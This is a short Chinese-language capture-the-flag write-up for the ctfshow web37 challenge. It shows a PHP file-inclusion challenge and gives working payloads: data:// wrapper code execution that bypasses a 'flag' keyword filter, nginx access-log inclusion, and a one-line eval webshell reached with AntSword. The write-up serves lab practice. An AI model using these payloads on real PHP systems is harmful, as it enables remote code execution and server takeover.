其他分享
首页 > 其他分享> > ctfshow-web37(文件上传)

ctfshow-web37(文件上传)

作者:互联网

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

法一:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
或
?c=data://text/plain,<?php system('cat fla?.php')?>

然后直接查看源代码或者用日志文件包含查看

日志文件包含
?c=/var/log/nginx/access.log

法二:

用一句话木马,然后蚁剑连接

?c=data:,<?php @eval($_POST['shell']); ?>

标签:文件,上传,log,text,web37,ctfshow,plain,日志,data
来源: https://blog.csdn.net/m0_62094846/article/details/122637067